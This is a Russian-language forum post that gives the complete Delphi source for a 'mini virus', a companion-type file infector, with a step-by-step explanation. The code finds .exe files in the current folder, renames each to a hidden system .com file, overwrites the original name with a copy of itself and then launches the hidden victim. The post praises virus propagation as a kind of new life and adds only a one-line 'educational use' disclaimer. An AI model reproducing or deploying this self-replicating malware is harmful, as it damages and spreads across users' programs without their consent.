• Привет !

    На форуме есть зеркало в ТОРе:rusfwz3cukdej7do.onion

    Обратная связь:info@ru-sfera.org

    Всего доброго !

mini вирус на Delphi (1 Viewer)

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

rokot

Программа
Форумчанин
Регистрация
11.03.2016
Сообщения
4
Репутация
4
Всем доброго времени суток!
Как уже видно из названия статьи будем лепить мини вирус

Алгоритм заражения будит таким:
- Поиск файлов с расширением .ехе.
- Нашёл .ехе проверить наличие файла с таким же именем, но расширением .сом, если такой файл найден - значит уже заражено, если нет - значит заражаем.
- Скрыть жертву выставив атрибуты.
- После полного заражения, проверить, запущен ли вирус в свободном виде, или у него есть жертва, если жертва. Нужно глянуть своё имя и наличие файла с таким же именем с расширением .соm в текущем каталоге, если нет – завершаем работу, если есть – запускаем файл, завершаем работу.
. Если читали, и всё нормально понятно, то вам ясно, что этот вирус сохраняет работоспособность заражённой программы, что является его основным недостатком, в силу крайне простого лечения.


Перед тем как начнёте компиляцию, сделаю небольшое отступление и отмечу, что многие люди любят спрашивать: «А что делает вирус??», имея, конечно же, ввиду: «Как вирус пакостит?», но на самом деле, это довольно глупо, т.к. пакости (деструктивные функции) - не являются основным отличием, особенностью или назначением вирусов. Главная цель вируса – выжить, в трудном компьютерном мире, дать приплод и, как следует, распространиться. А всякого рода хищение, порча и издевательства – это рухлядь, и в ней нет столько интересного, как в созидании появления, пусть и компьютерной, но всё же, новой самостоятельной, жизни... Хотя вернёмся к нашим баранам...

Код Delphi

Код:
program hllc;
uses
  sysutils,
  windows;

const
  VirSize = 43008;///Размер вируса
Procedure Infect(path:string);
var
  FromF : file;
  ToF: file;
  NumRead : integer;
  Buf: array[1..VirSize] of Char; //Буфер
  FM:word; //Переменная для сохранения FileMode
begin
  FM:=FileMode;//сохраняем FileMode
  FileMode:=0;//Режим работы с файлом - только чтение
  AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
  Reset(FromF, 1);//Открываем себя
  BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
  CloseFile(FromF);//Закрываем себя
  FileMode:=2;//Режим работы с файлом - только запись
  AssignFile(ToF, path);//Ассоциируем с путём к файлу
  Rewrite(ToF, 1);//Открытие с перезаписью
  BlockWrite(ToF, Buf, NumRead);//Пишем буфер
  CloseFile(ToF); //Закрываем жертву
  FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
var
  FR : INTEGER;
  sr:tsearchrec;{Поисковые переменные}
  f:file;{Файловая переменная}
begin
  FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
  while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
  begin
  if (not FileExists(SR.Name+'.com')) and (ExtractFileName(paramstr(0))<>sr.Name) then{Если файл не заражен и найденный файл не вирус в чистом виде то..}
  begin
  AssignFile(f,SR.Name);{ассоциируем путь к найденному файлу с файловой переменной}
  rename(f,SR.Name+'.com');{переименуем расширение файла}
  FileSetAttr(SR.Name+'.com', faSysFile or faHidden);{ставим аттрибуты}
  infect(SR.Name);{копируем себя с именем найденного файла}
  end;
  FR:=findnext(SR);{ ищем следующий }
  end;
  winexec(PChar(paramstr(0)+'.com'),1);{по окончанию поиска, заражаем жертву, если она есть}
end.


Вот и весь mini вирус. Не забываем, о исключительно учебном применении, данного материала).
 
Последнее редактирование: